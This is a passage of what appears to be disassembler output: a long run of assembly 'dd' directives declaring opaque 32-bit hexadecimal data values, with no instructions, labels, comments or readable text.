		dd 3F95003Ah, 0ACC61F44h, 0DE210052h, 0FB77467Fh, 190028A5h
		dd 0DD579E1Ah, 5CEF41h,	29B06362h, 91D54930h, 96267106h
		dd 587836FAh, 0D207E9AFh, 0B084B23Ch, 0FD27E24Ah, 5B358500h
		dd 5C2C863Eh, 673D07DAh, 40DDC334h, 84AA4954h, 92F2A600h
		dd 4ED407Dh, 4EEC0078h,	3BEAF432h, 0F800C65Ah, 61C2129Fh
		dd 0CD6DA4h, 0CE688B2Bh, 0E23348EAh, 2895F405h,	42C361C5h
		dd 84EFE058h, 33D7D51h,	3655A98h, 0F58B2908h, 0B43CF800h
		dd 9C3F5F22h, 93775Bh, 2126CC27h, 8486C2DCh, 8D7A592Ch
		dd 93A78907h, 83F4C770h, 99510009h, 303D19BBh, 1A2847F0h
		dd 0E87EBC80h, 0D2006976h, 0A5B2BE3Fh, 5EDDC26Ch, 0AFE18572h
		dd 8541D2C1h, 4980C0D3h, 6D8E02F5h, 0E47BB8A0h,	0E41AE961h
		dd 310098C0h, 0C30D933Fh, 5813A594h, 0FB02D31Ch, 35DC8A67h
		dd 3F8B78Bh, 3A6AB800h,	0CE52EAF6h, 99D007DDh, 71B9C676h
		dd 804E7B87h, 3715419h,	1B7D16h, 17481C77h, 0C913DC5h
		dd 0C44C88A0h, 137AB304h, 3081DBFDh, 75C83887h,	798A000Dh
		dd 48FA4199h, 0ED480850h, 55C200B4h, 5FF012E0h,	578A0082h
		dd 91527DB6h, 4D1FADC6h, 0FB01759Eh, 0C0DA2803h, 3FD1E30h
		dd 1FA2ECFEh, 18000272h, 6EB80578h, 90168539h, 0C5461064h
		dd 281F2436h, 9B81FE03h, 27D5D8ACh, 4CF9005Ah, 3501D8B1h
		dd 697960F1h, 0AE603E76h, 8B546FE8h, 1A45034Ah,	0F2300879h
		dd 46B1A8E0h, 0BC005CE8h, 0EAD59AD9h, 8A3D89h, 60FFF66h
		dd 77DEF626h, 11ACC300h, 0EE6E5FDAh, 0E13F0076h, 0FB4C8A5Dh
		dd 5C0EB334h, 0E1983DDCh, 7F0487Fh, 1C77CECh, 77862F83h
		dd 0DC6EAF33h, 11CE996h, 0A4819CDEh, 40539F05h,	908EBD40h
		dd 48F9B064h, 3D01B1C4h, 3FF8AEDDh, 0E4242081h,	63B7F0A8h
		dd 18EC300h, 55D99690h,	452200C0h, 75720925h, 0B2019E21h
		dd 0AAA1AD7Ch, 1FC4DC31h, 8AC604F8h, 807F5A0Eh,	0E174FB6Eh
		dd 524C048h, 0E6B438F7h, 65888B00h, 3EB6F4h, 434C2D03h
		dd 4A237DB5h, 60449CA8h, 980135F2h, 270304FEh, 14D4DFE1h
		dd 1E06FC22h, 0DD4B2934h, 479A0035h, 0F70C72D1h, 7D946538h
		dd 5624B0F2h, 0D98F38D6h, 0D5E3E09Eh, 7EFF1CBAh, 0ACB30F69h
		dd 83066557h, 9D0129EBh, 0D4FDF1C9h, 0AEE8C26Fh, 7E39030Dh
		dd 0F7E9B75Ch, 0E6FFD0F7h, 48F8E864h, 189DC000h, 2530DF73h
		dd 4C3A01C4h, 878AA00Fh, 0EF53D0A3h, 1D1A5F00h,	5591CDA1h
		dd 36C407ACh, 91BBFC4Dh, 30B345EBh, 32005A88h, 0A40E88C1h
		dd 0D495D7h, 0F527C756h, 8B28CBC6h, 7ECD3100h, 0A5DEB161h
		dd 2C110093h, 0B68A3B56h, 6AF47704h, 429E8760h,	13C624h
		dd 724F0CF6h, 3EBC8FDFh, 7F7EF81Eh, 0AFD45B43h,	9086B0A1h
		dd 82640002h, 330C6F43h
		dd 5E386636h, 40B8037Bh, 983B6365h, 8EFBFEh, 24DF3554h
		dd 93182958h, 9213AC09h, 0B8100004h, 65CBEEh, 11669DCEh
		dd 864CA335h, 4D5CA600h, 9B31D7D0h, 0EEEF009Ah,	0D86479B8h
		dd 56003865h, 5988D21Bh, 0E111726h, 247635FDh, 0D0462A60h
		dd 703E0F22h, 80EDBC03h, 2F506B8Bh, 0FA281223h,	60C0059h
		dd 0BCBB7081h, 0EEE6A7DCh, 0CFB99200h, 0E8789122h, 1390311h
		dd 2F12BF72h, 580B28D8h, 9B954800h, 8463D51Fh, 27470120h
		dd 5D557EF1h, 0E62020BCh, 0EE0D600h, 96BD1EE7h,	9A72EDh
		dd 0F618A0D4h, 3C10391Ch, 79F5200h, 0A5A7F743h,	28BD00CBh
		dd 0AEEB59F0h, 0A5900BC8h, 0F988273h, 0FC8B5628h, 0C21C3Bh
		dd 232DCAB0h, 1D2279F1h, 403FC462h, 8AEA5036h, 0A6009C0Ah
		dd 0DEE5C2CAh, 0F31107h, 0C1DF758Bh, 0FF6C6EE7h, 0D8E0ECB0h
		dd 33228700h, 0FC0266B3h, 95A1EDDh, 805FB4h, 89A63206h
		dd 30DFB376h, 0A005526h, 6A66A32Fh, 0AB741Dh, 3219FC79h
		dd 0B5820687h, 2D00F174h, 0BE71725Eh, 2EEE9983h, 3E503F3h
		dd 1DF91866h, 9B435B9Ah, 70894014h, 0AFCB0C30h,	81F90Ah
		dd 910B90B8h, 718AFC1Dh, 73782763h, 0E8869235h,	5DABD18h
		dd 0CA03E850h, 7D58D0B0h, 930E5AAFh, 23A5B927h,	0C8664ECCh
		dd 0C7B5B6h, 0FB8F1497h, 0EF7898F2h, 919BEA00h,	52669C58h
		dd 0B659C16Eh, 0BC9657F5h, 0B804D299h, 0B83730ABh, 90066610h
		dd 7D0CEE06h, 3B09914h,	0D82E19DFh, 0B290ABB1h,	6E1BBD6Dh
		dd 0EC299101h, 0D79FD120h, 32C70A03h, 0C9D9D6B1h, 0B3E426FCh
		dd 0B4571D7Ch, 9F64C42Ch, 42A6489Ah, 6B240572h,	4898F427h
		dd 1C5E42CAh, 1F403F24h, 6CE74FB0h, 0F55DF200h,	0A169BFADh
		dd 0A30D0079h, 3365CC6Bh, 38011E16h, 58F887A8h,	0A0C01714h
		dd 51D2005Fh, 978B48E5h, 8C00BC2Dh, 7B403F7Ah, 24B9DC0Ah
		dd 867441h, 1837F3E9h, 0C600A1DBh, 0D89271BFh, 6ABBCEh
		dd 0D54B19FFh, 11214EE1h, 0C301DAF4h, 1794E4BFh, 6D3016B0h
		dd 37060364h, 4BE66857h, 6CA380A7h, 0E0798BABh,	0D04AAA00h
		dd 4E56B867h, 0A7D037Eh, 0AC3E0201h, 8096EA3Ah,	0C9B86DDAh
		dd 0CC2FF0h, 151DBBA8h,	575FCDA6h, 0B18CED04h, 1C00FB3h
		dd 308A55h, 9527D95Bh, 492C2989h, 1DA1F00h, 0E6779EDCh
		dd 90E00EA4h, 1138FF3Eh, 597D3C02h, 5AC4F500h, 4263510Eh
		dd 812D387Ch, 60522F18h, 0F9C07E9Eh, 0F30D1D20h, 2A8005Bh
		dd 0C3F64F0h, 0F7004A1Eh, 1D8987E9h, 777E7765h,	3CF000E2h
		dd 88552E7h, 74006BCBh,	460BF8C5h, 2E43ADBEh, 710FE21h
		dd 81C8D4C3h, 0E0662B6Ch, 0DD00BE11h, 3EE9AC7Bh, 3589521h
		dd 20F7643Bh, 44987A9Ah, 940F667Ch, 0A0B22D89h,	52994938h
		dd 0ADD20BE2h, 8D828A26h, 0AC808F6Dh, 0E11EE5EEh, 12E28701h
		dd 45E93CC1h, 1ADAEE0h,	0A01892D9h, 0F564B16Ch,	29F37035h
		dd 148DD101h, 9E0983FCh, 0AFBEB8FBh, 0C3D600ACh, 0AB40BA85h
		dd 6C004756h, 9A502B75h, 1FDE0Fh, 614B88Ah, 1CCB0D02h
		dd 0F3A4FA00h, 0B57AE7D5h, 391E0362h, 2D61EA6Ah, 8AA151E0h
		dd 0BB049300h, 7E5C1B6Eh, 281A3C68h, 1C553BAEh,	0EA8E05F3h
		dd 5858C2BAh, 6DA6B4A0h, 0E0584EF6h, 0C54F0022h, 0F108B053h
		dd 9658008Dh, 0B60EC40Dh, 0D1065AE5h, 0F59184C2h, 0F8550064h
		dd 78273B3Ch, 8C3E88ACh, 0A95B809Dh, 0EF7F3037h, 221F1C8Bh
		dd 124243Eh, 1A5D1D6Eh,	6B182078h, 0CDD4810Ah, 4F1DAC7Ah
		dd 0B83FE4C7h, 0E9AE0221h, 0DD4DC8h, 18E2F364h,	0C2A15BC8h
		dd 80D50A00h, 0C46E5CC9h, 6A6B03BEh, 0ECD6BC7Dh, 0E85EFEE8h
		dd 312B7731h, 0B9E49B8Ch, 4BFF0C2h, 0AE81EB93h,	8A8381F4h
		dd 0E49EC07Ah, 0A9414C92h, 37D4D8h, 28632F0h, 0B0BC98DAh
		dd 43923F07h, 45410BD2h, 8800E71h, 67285A76h, 0AC007CB4h
		dd 3C045BF8h, 4F34E0h, 38920F88h, 684C6D8Ch, 6543F300h
		dd 5F27E74Ah, 0B84B01F1h, 21D9D1CAh, 0DFA0400Eh, 350A63C9h
		dd 98E28351h, 14A0873Ch, 80E197C5h, 0EAE4648Fh,	0B7A50781h
		dd 0D1C40179h, 204B7FFBh, 0F50E8CC4h, 81F29D0Bh, 2EFAE965h
		dd 0C0C68FCDh, 3FD1A75Ch, 0DB849A14h, 80A886A0h, 0CF319EF8h
		dd 72E86700h, 3E2A75DAh, 0F6210016h, 4FEB238Ch,	9600B2E5h
		dd 728B981h, 0E297D978h, 0DF220083h, 0C965D152h, 0AC02140Bh
		dd 0BEFB0C3Ch, 5C806045h, 27EB1C26h, 0F73EC03Dh, 19ED2D92h
		dd 0D4D08600h, 72B69160h, 174A009Dh, 5DA18E6h, 0E803ADC4h
		dd 9E89F9DCh, 0C2A7F87Ah, 916800B2h, 260D3BCEh,	0E4E00C0Eh
		dd 0A3FF2200h, 0C020349Eh, 1E090A1h, 0ACAB128Ch, 21ED521Ch
		dd 6E7D6000h, 14B17E0Fh, 4696092h, 0DB80Eh, 0CE9F1DE4h
		dd 86637007h, 0E9BFCA03h, 0ECA15A42h, 0B8225083h, 390F09E5h
		dd 6580D1BDh, 8DFA5F49h, 0D6002098h, 357D9C61h,	45F89Bh
		dd 0A416B30Ch, 37CCACEDh, 90052F6h, 0FAE8922Eh,	7D9ADAA7h
		dd 0F51200BAh, 340667D7h, 4B0582A4h, 0F95DCA0Ah, 0D8631681h
		dd 2180FA21h, 364354DAh, 9BF68B0Dh, 0F42E5A1Eh,	76E30F40h
		dd 9095321Eh, 0ADFAF3h,	0BDB16AC0h, 3B82D51Ah, 0E30001F0h
		dd 2805AC40h, 30DCBB03h, 3A58342Fh, 0B80E7DC3h,	0A097529Dh
		dd 5867DEC5h, 0B3FA0025h, 0C7851AA0h, 8739C990h, 3648020h
		dd 0A3E4DCE7h, 0DD741FEFh, 7800BC8Dh, 2361A1B7h, 0AF074531h
		dd 0AA9D93A9h, 0A691A08Fh, 0A2AB42h, 0A5C6F486h, 61E0C5A3h
		dd 9C3A0300h, 0DD423407h, 47C20362h, 0F8A07C84h, 0E7D72900h
		dd 0E3EE2894h, 128300B5h, 0A21ECB95h, 0F000B44Ah, 0C75FF1CCh
		dd 243638CDh, 1E024C9h,	0CF0E4BB1h, 8E04602Dh, 0E9BDD100h
		dd 32652375h, 0F840EE07h, 0A0A9606Eh, 0D141A3ACh, 6F259A18h
		dd 28358F64h, 18B5AF2Ch, 481E4D73h, 40ECE738h, 153E741Eh
		dd 54000612h, 0F963D07Eh, 6F130F85h, 0B5001DABh, 0BFC97D16h
		dd 3F6A83Eh, 27BA6722h,	4A39B076h, 0A8B56047h, 54FC83AAh
		dd 2A7D181Dh, 72D50DC0h, 0A741EEh, 0B4BFC163h, 6BA113CEh
		dd 0C72D9900h, 0DF04C3AFh, 43B80277h, 90F944E9h, 1924D040h
		dd 0A2557A17h, 1A2F2C00h, 0FF8E912Ch, 3AEFBDD8h, 9E16D9A7h
		dd 3300BB15h, 82B3C09Fh, 0C5E7009Ch, 541F7FF9h,	1200E11Dh
		dd 0AB2D7E59h, 3A9FCFB9h, 7800845h, 8B79B040h, 5D003873h
		dd 24DB7097h, 0E7AA932Bh, 7AE0BE71h, 983F0001h,	50064C7Dh
		dd 14015154h, 74D663D3h, 0A0FD2959h, 78E03831h,	76F7004h
		dd 0E21D124Ah, 4E09F096h, 9300BBD4h, 5ECADB87h,	4D9170D6h
		dd 4F0034BFh, 0AC468E8h, 3048AD19h, 74F4016Ch, 47062364h
		dd 943830h, 0B411C3E9h,	89A5296Bh, 0D576D400h, 1A284E85h
		dd 95B0B6h, 0A0EC3A11h,	7A70FBCBh, 0E75C0600h, 6CDBBED5h
		dd 9731507Dh, 0D2CC28EEh, 690800F4h, 0B2176E97h, 0AF03D04Dh
		dd 0C286B1DBh, 0A155C966h, 2BEC4621h, 8576007Ah, 208E7928h
		dd 1C0F0B0Ah, 0A0EE1245h, 1895F547h, 0D8900078h, 0FAA984D3h
		dd 90A9D94h, 84605106h,	565AED00h, 90B0EA23h, 6FF60014h
		dd 31E44808h, 94A08E36h, 9D00E362h, 8B25AF93h, 1F77DB68h
		dd 0C06517F2h, 78DFBBF3h, 40972308h, 45302Ah, 38F75F84h
		dd 0A0C94E25h, 430E1490h, 0A4932806h, 98902B55h, 0E672A6Ch
		dd 51C7A5E5h, 0F816FC40h, 7A00BE32h, 0A23C265Dh, 2171370h
		dd 0A78E2858h, 0CB43ABF6h, 0FC5280F0h, 3B550500h, 10C5F9DFh
		dd 8C200BDh, 0CAB094DAh
		dd 931F737Ch, 63C0C740h, 0C4C01201h, 0B2C62478h, 0B12701F5h
		dd 0D1351993h, 0C2DED461h, 43029D09h, 61C059Fh,	0C1628080h
		dd 864A005Eh, 5A4B6F19h, 0E4EF55F9h, 0D7F815F4h, 5E133417h
		dd 0C2442800h, 0CEDB2A7h, 0D876F8C8h, 64F097E9h, 70D938h
		dd 930AC912h, 3D760943h, 0F99E4FDBh, 0E147C286h, 6440EC8Bh
		dd 0AD73205Eh, 0F35A9F00h, 0A16E1F3Dh, 0FE30B0F6h, 29700055h
		dd 3F134926h, 0ED00F283h, 0E758EF4Ch, 364002h, 0D895FBF8h
		dd 0E6775E46h, 76497002h, 68EE7FB6h, 2AD95Ch, 4D1F6DB4h
		dd 0F3FD3351h, 270040B8h, 3EA29574h, 0EAD28EA7h, 6C8A00FCh
		dd 4858F5ABh, 0D87F6AB1h, 0E98DAD00h, 5A2F344Eh, 0D398075Dh
		dd 0B0AAB4CAh, 3AF20AA4h, 1118187Ch, 5AB8B5DDh,	128700AFh
		dd 575C649Fh, 895C35D6h, 9E780184h, 0FC8FF68Eh,	4C04021h
		dd 0B4030038h, 924D1A31h, 6B00D05Fh, 0E25173ECh, 0E814F0h
		dd 0D88482F2h, 26801CD7h, 0EE4EC800h, 0A16FF3E7h, 0D07460DCh
		dd 0ACAFBA8Bh, 1561D41Dh, 0C5BBE040h, 0F69FD0A0h, 0F4680583h
		dd 0C71C34E3h, 21F40F0h, 7B179E48h, 7900D139h, 9B68BD11h
		dd 76213AFCh, 92E2B005h, 40A41CAFh, 8F30B397h, 0F6FEDE69h
		dd 4A0A6100h, 8C341BE2h, 143E053h, 0FD2F9DDFh, 0F2032B80h
		dd 8FABE460h, 58FC250Ch, 130179DDh, 4091A73Dh, 817E7BACh
		dd 500B193h, 15FC66D0h,	7B07C5BCh, 268807D7h, 0F0E84124h
		dd 0EED59B3Ch, 18DC2F00h, 216033C2h, 0B6730BB8h, 809AB1h
		dd 0DC2BA959h, 0BCC66B00h, 0C4B5B9F0h, 1203735Ah, 0ADF5FBh
		dd 85FF9054h, 8C1D9AC8h, 54C0A880h, 145E4ABCh, 0DFF703F3h
		dd 6E91F868h, 0D40BA1C8h, 0D349CB00h, 0EBF8D57h, 550D1474h
		dd 0EA0FB064h, 9E67E822h, 0C12BB2E0h, 0FD4B43C0h, 95A91F00h
		dd 1E2F58C6h, 371C006Eh, 0F685A151h, 923BD9A5h,	5401CA17h
		dd 0AD866EAEh, 1838C70h, 9A88F926h, 0F5FDCCC9h,	0E6D4209Dh
		dd 7FD70800h, 2DE25AD0h, 79A61DF2h, 8BE4C0D9h, 9A2A97A3h
		dd 60E9AE05h, 0D8408F41h, 0F478D85Fh, 3D09005Ah, 844C33E1h
		dd 16EA5424h, 0E0F031FBh, 27009319h, 1E431741h,	0E0749Fh
		dd 4F5D095Fh, 97858DFDh, 2BA8AB5Ah, 0A900C63Ah,	7FA4E3BFh
		dd 3F5CFF70h, 0B616004Dh, 5A43C8ACh, 0F4885CA5h, 0EB820775h
		dd 80AE5C05h, 0C56138Ah, 3503CC90h, 78C5B22Eh, 0AB92120Bh
		dd 205480BEh, 4302A191h, 0A3D793A4h, 4FCC48FBh,	242EE2A2h
		dd 0B4EA40h, 0D72B84C5h, 5F08D4ECh, 96CB8357h, 0CED44429h
		dd 2CE8C09Ch, 971F1B38h, 3DC09A46h, 0B0E97067h,	8354885h
		dd 2F491700h, 0B9B8F96Ch, 9AD95405h, 48D0984Ah,	267001h
		dd 87EC6CF4h, 5B2F95EFh, 34829C00h, 98F52A86h, 9BFD1EFFh
		dd 0E3B20033h, 0CCE113EAh, 49A7A100h, 0FD81A5AEh, 68E05C59h
		dd 3B2B3C00h, 418B1EF5h, 0EC013400h, 0B4F96062h, 4DA01BAh
		dd 0E9537D5h, 0DD5C34AEh, 2B1AD700h, 4231931h, 0EA370032h
		dd 25466674h, 5901702Ah, 76971785h, 0AF0233Fh, 0A31E0061h
		dd 92FC4148h, 0BEF2452Dh, 7E0074F0h, 0DFD014ACh, 0FCFA589h
		dd 0D9E825DEh, 0E09067E1h, 5C1820DAh, 35A10700h, 0FD14D0DFh
		dd 0B80C1428h, 7E01B0B7h, 0AD89CED3h, 613FEC6Eh, 6A00237Eh
		dd 1CF23825h, 45CBDBh, 973C83D4h, 6FCBF02h, 8413D976h
		dd 75019E2Eh, 58234777h, 566AD8h, 0A4E478A5h, 86049826h
		dd 1FAED400h, 69B27764h, 0C310EC8h, 36208C7Bh, 21946884h
		dd 3F80E201h, 9CFCE643h, 0CC5460h, 75DC330Fh, 8EAD4503h
		dd 0A00FF54Fh, 80430F97h, 0CE1FAA7Fh, 40783Ah, 1817E255h
		dd 7406B6EDh, 2C9448h, 0EBBAD34Ah, 2BE5933h, 9DC4641Bh
		dd 5C40DD9Ah, 80006EB3h, 0CD5FD3E8h, 0B0D47ABDh, 0DABB0041h
		dd 5C0ADB86h, 3F129409h, 0C8002E20h, 998153B6h,	0BACD0037h
		dd 0D90148AAh, 0AC007855h, 673ED16Fh, 1528DE7h,	0D7DCFBA8h
		dd 8058ED9Eh, 42317420h, 7201F6F2h, 4C560391h, 6975F0FEh
		dd 64B705A9h, 0EC0052BCh, 57BDA568h, 8280DAh, 8A8CE8D6h
		dd 0CBADBE90h, 0C4740D07h, 31A0AA50h, 1F9B454h,	0DF408994h
		dd 72648EF7h, 11410000h, 0C0F02252h, 69A1095Ah,	2A005372h
		dd 0F10E1DA4h, 22129700h, 0D6BAF11h, 73E30447h,	0C2270569h
		dd 64E0D2B4h, 16005482h, 0A070895Bh, 4C452266h,	953C78FAh
		dd 0A5D6318h, 9A05133Eh, 0C3867E4Ch, 0C912B049h, 99E0E690h
		dd 25CDEE81h, 7020DA65h, 0FA1A1749h, 0CC143Fh, 1B3BB41Ch
		dd 207C44h, 6CCE94EEh, 0D818BBBFh, 63A70809h, 748E7Ah
		dd 192E27CDh, 10F007DBh, 200196B8h, 86FFCC34h, 0BC2E297Bh
		dd 3700F4C0h, 2B0963D8h, 99A31C9Ch, 6675808Eh, 0FAD1B34Ch
		dd 5E3A160Fh, 176EE079h, 161042Eh, 6DB5272Dh, 80E07B0Eh
		dd 48B68E20h, 3C5B96h, 9942EB67h, 432390F7h, 16C5D10Fh
		dd 39888011h, 8B5037h, 0E659CC06h, 1D85727h, 0C06F4D00h
		dd 0C479B793h, 861E010Bh, 5A191384h, 32C060C8h,	76FEB1Eh
		dd 85B87080h, 1EBACB9Fh, 9E7FC188h, 71D9C0A5h, 4DB41901h
		dd 7C3B5Ch, 0E3243C1Fh,	488F89C6h, 0E70007EAh, 0D98BB165h
		dd 0F80370C1h, 29339709h, 0DD9EC80Dh, 4E8F000Eh, 6FBED8EBh
		dd 0E5FC5668h, 0B5A01A0Fh, 0E2A9659Ch, 90CBE040h, 78F307DDh
		dd 0BC7008Fh, 0B9E6278Ch, 0BB00ADF4h, 633F1944h, 0F211F713h
		dd 0F5D31F32h, 0D2B24091h, 0A88CC5ECh, 8601E8EAh, 5C71388Eh
		dd 5BE84566h, 9624507Bh, 21191351h, 1C0CFB27h, 2E0F78A2h
		dd 0BD585E1Fh, 82E02E01h, 0D0301CD5h, 4A6F76D9h, 10100C18h
		dd 180344CBh, 0E600C0F0h, 0A850AFC6h, 1F4CE70h,	773E37DBh
		dd 30D10D0Eh, 9C1EEB9Ch, 56C1676h, 8B6A2000h, 0FCBB64B3h
		dd 530A003Fh, 285F3D72h, 0AF0C751Dh, 98AD7E67h,	4F8D1327h
		dd 1AC10C63h, 1C0AC370h, 58731FEEh, 64CE340Ah, 4F652101h
		dd 38A02550h, 5434ECDAh, 867074CBh, 7C3040h, 262CA97Bh
		dd 6EF5D7F2h, 3C548700h, 0FC164E8Ch, 0A2800064h, 0BEF370B4h
		dd 550ED5F0h, 3FC6E772h, 0F7062581h, 0C8C0D162h, 2CE0B0h
		dd 3EBF7390h, 557AF2Dh,	6F878803h, 98615ED0h, 0B48974h
		dd 43FA9D12h, 70F3539Eh, 6D76A800h, 7849441h, 97650055h
		dd 44D4AC61h, 8717637Dh, 0EB009D42h, 2BAE0568h,	0C87D49h
		dd 46359789h, 0A876A9F2h, 71AB0A00h, 0C921AC63h, 7C38075Fh
		dd 30534B75h, 139E41A6h, 0E84E4600h, 0F5BB4B6h,	2E38B0C1h
		dd 8030405Eh, 0C2520EB0h, 7304E066h, 0EFD7EADCh, 3A773CC0h
		dd 0E27E038Ch, 386D59Bh, 0ED6989E0h, 645EBB00h,	134088A0h
		dd 7BF5734Fh, 7BB13CBCh, 66BE2F00h, 8B05817Ch, 68157707h
		dd 0EF0086CCh, 0F6DF535Fh, 0BF6D0044h, 51AC4687h, 9D030CD2h
		dd 585D7FB9h, 8897AF2Eh, 0B771EFA0h, 8CA700EDh,	0C79EC157h
		dd 5D00CF68h, 880C4D7Dh, 0F621524Ch, 0A0B303E6h, 0B6BD7887h
		dd 0BFC0D5FBh, 720F6A08h, 16C5F1Dh, 79BA021Ah, 49BEAEF0h
		dd 0A57C0C9Dh, 0BFE8C104h, 46108499h, 148160B9h, 0D4DCD85Eh
		dd 0DFB0028h, 0E8B5E590h, 113EFFFDh, 5E9198F3h,	884A2C29h
		dd 298996B2h, 124CED09h, 94F61030h, 88FC5588h, 0A48851EDh
		dd 9386884Dh, 0F9084189h, 0A3086744h, 249BF228h, 6848216Dh
		dd 0E010DC12h, 2A58B99h, 83F49050h, 5C316004h, 185031Ah
		dd 7BB7F529h, 7025CC55h, 1000242Bh, 173DFF8h, 3D3F038Ch
		dd 0EB003CA9h, 2554EEB9h
		dd 18F6BE6Bh, 194FD400h, 0DB7AC7C9h, 0D93100BBh, 71831514h
		dd 890F8D6Ch, 80753D18h, 462F3398h, 0BEE6004Ah,	0DE49BB52h
		dd 8300F58Ch, 0A76BA4D9h, 607DC4h, 0AADF63B5h, 0E9700597h
		dd 0F31A3201h, 0F6029EABh, 0B91D0h, 0CF8571AEh,	27A762DFh
		dd 0EC56CB1Dh, 739398C0h, 2E9A2404h, 5FE212h, 3BAFCDF6h
		dd 7200F53Ah, 0EE6DBB58h, 0E7D037B7h, 5488AC8h,	2B015C67h
		dd 0E173C068h, 0EC122A5Eh, 1C00B661h, 28148DFCh, 65F53B94h
		dd 775F4C02h, 8C803C1Dh, 8CC6A8DCh, 617AF200h, 6E93A07Ch
		dd 0B89F7174h, 9A820021h, 648BD595h, 6A006C9Dh,	6E47CD8Dh
		dd 43F70BCh, 0C833D034h, 805884F0h, 0E15B532Fh,	0E0F3B830h
		dd 50EDA3h, 853D86EBh, 0DA213706h, 0C6616700h, 0BBA4B36Eh
		dd 33053F20h, 0CC9F7683h, 0A00F5BE1h, 1C26A34h,	9A598929h
		dd 0C0173730h, 155A23A0h, 60713A3Ch, 5B089200h,	0FF56FBC9h
		dd 84D700E9h, 4D5ADA01h, 0EA0067E5h, 8E4ECB62h,	50E39C7Dh
		dd 7AE03Ch, 0A2F02F60h,	0A3DAC169h, 23B97F1Fh, 0FE18AE80h
		dd 66B0CCEh, 7449C405h,	7D79F83Ah, 0AF6F0600h, 7579987Ah
		dd 0B6B507B2h, 40D6D2A2h, 2EE8F965h, 17C9BD00h,	8395DE0h
		dd 0DF4B0058h, 0D1611CE2h, 9039A130h, 0C67D0778h, 0FE10B112h
		dd 1D56472h, 41439BBh, 83AE881Fh, 418FE7AAh, 1D95D024h
		dd 66EE0061h, 0B0D75359h, 0B4FCFDB5h, 46FF4500h, 7DF11D24h
		dd 63781C86h, 74806FE2h, 57AE2D3Bh, 7690517Bh, 5590260Fh
		dd 47C0CEF4h, 61A07EE8h, 0D93618h, 29FA7739h, 0CC23D409h
		dd 563BFC04h, 7480D27Dh, 0E03686ADh, 934D0021h,	4FAB071Eh
		dd 0D8001737h, 78516789h, 966C0C6h, 0C712E292h,	40C8800h
		dd 0A80079EBh, 82739F96h, 748A6D7h, 16BCE02Dh, 7EDC800Ch
		dd 9504BF10h, 41C46151h, 822B9C80h, 0E524D49Fh,	4181F07h
		dd 2EC7B0F0h, 24036DC2h, 0EDBDFF1Bh, 0C69F090h,	0C1EB093Ch
		dd 0A0A047CFh, 498AEAE6h, 54E36A00h, 789D5064h,	7CAD0F5Fh
		dd 0BA20103Ah, 4BE5F3B0h, 95E97F01h, 0B589C4BDh, 1F6D4020h
		dd 80279039h, 0A9B96FABh, 0B6008FCBh, 31E825A0h, 0F00ABD73h
		dd 9F3D00E4h, 6F9B8D1Bh, 0FA0094ADh, 0EA977E5Eh, 241311F3h
		dd 19A41CFEh, 0DC8450CAh, 0CB3BB005h, 942A8050h, 93116AD0h
		dd 33779Ch, 0B64B870Fh,	1F88AFC2h, 1AACC305h, 0DDC0B129h
		dd 0E7E083h, 0AF0A3C26h, 5B7761B0h, 0A2091D02h,	40E4C251h
		dd 7804C4h, 358F9559h, 1698A06h, 6EFBF500h, 1AE7A9D1h
		dd 579900E9h, 70C70ACEh, 15078BC4h, 68C8EF1Fh, 0BB17A050h
		dd 66CE00FAh, 9C84AFA2h, 6200A9F6h, 0EA695AAEh,	77444698h
		dd 80C900FAh, 33ED921h,	0EB0362C1h, 93A3A610h, 0E568E0CEh
		dd 8D120248h, 565ECDD7h, 0B14CC840h, 0CF2B0D13h, 859C0820h
		dd 0E8933336h, 0E1A8A520h, 8E58FCAEh, 0C2B800C1h, 0BEBB4E9Dh
		dd 8F49031Fh, 0F3425BB9h, 134F6800h, 85758862h,	7940E9Bh
		dd 5DCF1916h, 725C013Ch, 205ED9C2h, 4031A1FAh, 0E44397Bh
		dd 7AB66CC8h, 513901F4h, 5370FC18h, 61CA94h, 0C2EAD4A0h
		dd 7A311900h, 0D36E62DCh, 8074CCDh, 32FBF700h, 220CE6DDh
		dd 23D89200h, 48AE5304h, 0A05205BFh, 80CFC547h,	8FE65B5Dh
		dd 73492300h, 0B68EE789h, 778EC37h, 5A14B899h, 0EE6B8071h
		dd 9000D64Ah, 13DAE9A7h, 6C3FEFh, 0DFBFF425h, 0F74CE376h
		dd 0A3807E0h, 801839E8h, 2BCA5D33h, 0E76E74h, 0B2D7BC37h
		dd 438D4F72h, 0A82F300h, 31258EEh, 51E20047h, 0F9D68727h
		dd 2C0460E7h, 0A5C18B2Dh, 457318C0h, 95F0037h, 0BE91E17Bh
		dd 3C005DA8h, 3099D8E6h, 3C9319Ah, 9AE9E20h, 11C0121Fh
		dd 0F4003BCCh, 0A38E03A4h, 29BED85h, 0CB9E2F54h, 0F004B09h
		dd 605DB783h, 20AEF0FBh, 0C8034DD8h, 0C754B628h, 0D7D9902Ch
		dd 46A600EAh, 0BE295186h, 660099A1h, 0E7C9A835h, 7AD74Dh
		dd 0FA1D923Bh, 756A2EB3h, 0B9E03D00h, 80CD8525h, 31BE007Ch
		dd 0A35DBA44h, 100009D5h, 431FC355h, 0EB25A77h,	9F144969h
		dd 1E5ED0E0h, 710ED261h, 20768EA3h, 0D9C4F983h,	0EAB71CC6h
		dd 0A9B640FCh, 0CA80988Fh, 0B44F9E00h, 8D3B532h, 99EF02AAh
		dd 41B328E7h, 8A3DB8C8h, 4D5B141Dh, 63CFD881h, 6C24A404h
		dd 92B7008Eh, 454BCA57h, 2C131A8Fh, 78036E6Ch, 0EA977973h
		dd 0C89CC317h, 3E5E2D3h, 0B1D7AFA7h, 0B2907229h, 440FD86Ch
		dd 891D87B0h, 0F6440008h, 489B5478h, 0DE00C60Bh, 0C052B2F9h
		dd 1F0B5672h, 7FB31893h, 0C38E7F80h, 9C006544h,	14FAFC60h
		dd 21E3CFh, 16CBADE6h, 0E08F68CDh, 24980AEAh, 0DA5A7A03h
		dd 0E965CCh, 0EB24BC0h,	0BD601CF5h, 0D036FE00h,	82AA6B16h
		dd 0DB8F00DDh, 20BEAE95h, 99074219h, 1A010DD8h,	47E04BB7h
		dd 576CAFh, 0D1DE873Bh,	0AEB038Bh, 17BF6700h, 0F8D57194h
		dd 1B6E052Ch, 0C16133C2h, 0D87CAFC3h, 0EA01C40Ah, 171EE2F0h
		dd 6F8F4DBh, 0E5CE0691h, 0FC5D22BFh, 0EE00717Ah, 0F36E265Bh
		dd 7D4CEDh, 48F71797h, 0E2FEB953h, 2FEAFAF0h, 0C1E1E407h
		dd 0C7A78283h, 4C970DCh, 0C03A143Fh, 9B4BC052h,	1D078DE6h
		dd 0EE10B8DDh, 0F5E58490h, 0A4362453h, 80EB1F98h, 1181479Eh
